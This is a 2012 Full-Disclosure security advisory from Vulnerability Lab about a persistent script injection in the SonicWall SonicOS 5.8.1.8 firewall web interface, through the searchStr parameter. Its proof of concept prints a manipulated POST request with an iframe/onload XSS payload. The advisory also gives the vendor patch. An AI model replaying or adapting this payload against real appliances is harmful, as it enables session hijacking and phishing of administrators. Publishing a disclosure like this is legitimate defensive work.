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[Full-disclosure] SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 18 Dec 2012 06:35:58 +0100
Title:
======
SonicWall SonicOS 5.8.1.8 WAF - POST Inject Vulnerability
Date:
=====
2012-12-18
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=769
Sonicwall Bug ID [SBID]: 123995
VL-ID:
=====
769
Common Vulnerability Scoring System:
====================================
3.5
Introduction:
=============
The Dell® SonicWALL® Network Security Appliance (NSA) Series combines the
patented Dell SonicWALL Reassembly
Free Deep Packet Inspection™ (RFDPI) engine with a powerful and massively
scalable multi-core architecture to
deliver intrusion prevention, gateway anti-virus, gateway anti-spyware, and
application intelligence and control
for businesses of all sizes. By integrating automated and dynamic security
capabilities into a single platform,
the NSA Series provides comprehensive Next-Generation Firewall protection
without compromising performance.
(Copy of the Vendor Homepage:
http://www.sonicwall.com/us/en/products/NSA_Series.html)
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a web vulnerability in
the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance
Application.
Report-Timeline:
================
2012-11-18: Researcher Notification & Coordination
2012-11-20: Vendor Notification
2012-11-20: Vendor Response/Feedback
2012-12-04: Vendor Fix/Patch (SonicOS 5.8.1.9)
2012-12-18: Public Disclosure
Status:
========
Published
Affected Products:
==================
DELL
Product: Sonicwall SonicOS v5.8.1.8
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent POST Injection (input validation) vulnerability is detected in the
official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.
The vulnerability typus allows an attacker to inject via POST request own
malicious script code in the vulnerable module on application side (persistent).
The vulnerability is located in the Firewall > Match Object > Edit Match
Object section when processing to request via the `Search > appFirewallObjects`
module the bound vulnerable [searchStr] application parameter. The persistent
injected script code will be executed out of the searchstr name listing
web application context.
The bug can be exploited with a low (restricted) privileged application user
account and low required user inter action. Successful exploitation of
the vulnerability result in persistent session hijacking, persistent phishing,
external redirect, external malware loads and persistent vulnerable
module context manipulation.
Vulnerable Section(s):
[+] Firewall > Match Object > Edit Match Object
Vulnerable Module(s):
[+] Search > appFirewallObjects
Vulnerable Parameter(s):
[+] [searchStr] - Name Listing
Proof of Concept:
=================
The persistent post injection vulnerability can be exploited by remote
attackers with low privileged application user account and
low required user interaction. For demonstration or reproduce ...
Review: appFirewallObjects > searchStr
csrfToken=benjamin1337
inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>157</tableType><viewType>table</viewType>
<cmd>get</cmd><sort>false</sort><searchStr><[PROVOKE
EXCEPTION]>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]")
<</searchStr></dbInfoRequest></dbInfo>
--- POST REQUEST FULL (MANIPULATED!) ---
Host=realtime.pentest.server.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101
Firefox/16.0
Accept=application/json,
text/javascript, */*
Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
DNT=1
Connection=keep-alive
Content-Type=
application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With=XMLHttpRequest
Referer=https://realtime.pentest.server.com/appFirewallObjects.html?
sortCol=1&sortInverted=0.html
Content-Length=475
Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.2;
__utmz=31673917.1353374336.2.2.utmcsr=livedemo.sonicwall.com|utmccn=(referral)|utmcmd=referral|
utmcct=/demo/demo.html;
__utma=227649090.369226766.1353295036.1353295036.1353295036.1;
__utmz=227649090.1353295036.1.1.utmcsr=esserver.realtime.pentest.server.com|utmccn=(referral)|
utmcmd=referral|utmcct=/settings_branding.html;
__utmv=227649090.|1=User%3AUnkown=Unknown=1; s_vi=[CS]v1|
2854D261051D029D-40000106800133DF[CE];
__utmb=31673917.32.10.1353374336; __utmc=31673917; s_cc=true;
s_sq=%5B%5BB%5D%5D; curUrl=appFirewallObjects.html
%3FsortCol%3D1%26sortInverted%3D0.html;
curUsr=; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0;
1035=0; 1040=4; 1041=1; 1042=0; 1043=0;
1044=0; 1045=0; 1022=true;
1007=applFolder; 2103=appFolderId
Pragma=no-cache
Cache-Control=no-cache
POSTDATA=csrfToken=benjamin1337&inputxml=
%3CdbInfo%3E%3CdbInfoRequest%3E%3CpageId%3E
appFirewallObjects%3C%2FpageId%3E%3CtableType%3E157%3C%2FtableType%3E%3CviewType%3Etable%3C%2FviewType%3E%3Ccmd
%3Eget%3C%2Fcmd%3E%3Csort%3Efalse
%3C%2Fsort%3E%3CsearchStr%3E%3Ciframe+src%3Da%3E%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL
%22)+%3C+%3Ciframe+src%3Da%3E
%2520%2520%2520%2520%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C%3C%2FsearchStr%3E%3C%2FdbInfoRequest%3E%3C
%2FdbInfo%3E
Reference(s):
https://firewall.127.0.0.1:31337/dbselect.cgi
https://2400mx.127.0.0.1:31337/dbselect.cgi
Solution:
=========
The vulnerability can be patch by parsing the name listing searchStr web
application parameter request.
2012-12-04: Vendor Fix/Patch - Update or Upgrade your Sonicwall SonicOS
v5.8.1.8 to v5.8.1.9 [Customer Area].
Risk:
=====
The secuirty risk of the post injection web vulnerability is estimated as
medium.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
Disclaimer:
===========
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